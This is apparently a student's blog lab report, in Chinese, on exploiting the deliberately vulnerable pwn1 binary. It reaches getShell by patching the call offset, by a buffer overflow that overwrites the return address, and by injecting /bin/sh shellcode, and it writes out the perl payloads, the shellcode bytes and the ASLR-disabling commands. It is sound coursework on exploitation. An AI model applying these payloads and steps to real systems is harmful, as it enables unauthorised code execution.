20212911陈金翔-2022-3 网络攻防实践 第九次(第十一周)作业

1.实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

2.实践过程

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

首先输入objdump -d pwn1 | more命令,对pwn1文件进行反汇编

 

 

 

我们找到main、foo、getshell、三个函数对应的位置

我们可以看到main函数调用了foo函数,对应的机器指令为“e8d7ffffff”,我们想让main函数来调用getshell,只要修改“d7ffffff”为“getshell-80484ba”对应的补码就行,计算可得它的补码是c3ffffff

输入vi pwn1进入vi编辑器

 

 

 输入:%!xxd切换为16进制模式,输入/d7进行搜索,结合上下文判断是否是我们需要修改的地址。

 

 

 将d7改为c3

 

 

 输入:%!xxd -r 切换模式,然后保存退出

再次输入objdump -d pwn1 | more,找到main函数,main函数此时调用getshell函数,证明我们修改成功了。

 

 

 执行pwn1文件获取到shell。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

观察foo函数,我们发现该函数只预留出了28bit的空间,当输入的字符串超过28bit时,就会造成缓存区溢出

 

 

 

 我们利用gdb pwn1 对pwn1文件进行调试,34和35分别是4和5的ascll码,可以看到地址跳转到了0x35353534

 

 

 接下来我们确认溢出的哪几个字符会覆盖到原来的地址上

 

 

 我们可以看到输入的第33-36位字符覆盖了跳转地址,且采用的是小端地址,因此我们构造的字符串应该是1111111122222222233333333444444444\x7d\x84\x04\x08

 

但是由于我们没有办法通过键盘输入\x7d\x84\x04\x08,所以我们要先生成一个包括这样字符串的文件。

使用perl -e ‘print’ “1111111122222222233333333444444444\x7d\x84\x04\x08” > input 命令生成一个input文件

 

 

 

输入命令(cat input;cat) | ./pwn1命令

 

 成功获取到shell

3注入一个自己制作的shellcode

首先要做一些准备工作

依次输入:

execstack -s pwn1 //设置堆栈可执行

execstack -q pwn1 //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

 

 

 

 

然后就是要构造要注入的payload

利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

 

 

 

接下来确定\x4\x3\x2\x1具体应该填什么:

打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn1

 

 

 

再开另外一个终端,用gdb来调试pwn1这个进程:

用ps -ef | grep pwn1命令找到pwn1的进程号是:59139

这里由于后面的失误调用了好多次,可以根据时间来确定端口号

 

 

 输入attach 59139命令启动调试这个进程:

 

 

 

输入disassemble foo命令反汇编

对foo进行反汇编查看到ret的地址为0x080484ae

输入break *0x080484ae,在0x080484ae处设置断点

 

 

 

在之前的终端中按下回车,然后在调试的终端中输入c继续运行。

输入info r esp查看栈顶指针所在的位置,并查看改地址存放的数据:

 

可以看到其地址是 0xffffd50c

 

 用x/16x 0xffffd50c命令查看其存放内容,寻找0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后(+4),所以地址应为0xffffd510:

 

 

 

修改文件中代码为

perl -e 'print "A" x 32;print "\x10\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 

 

 成功获取到shell

3.学习中遇到的问题及解决

问题:由于kali更新,无法下载安装execstack包

解决方法:改变apt-get的获取源

第一步:打开sources.list文件
sudo vim /etc/apt/sources.list
第二步:在文件中添加以下内容
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib
然后保存退出,再进行更新
sudo apt-get update

4.实践总结

  通过本次实验,利用不同的方法利用了缓冲器溢出的漏洞,成功获取到shell。这也提醒我们在自己编写代码的时候一定要注意对其进行堆栈等数据结构进行溢出判定,避免出现相同的问题。

posted @ 2022-05-15 19:20  虎啊虎呀  阅读(42)  评论(0编辑  收藏  举报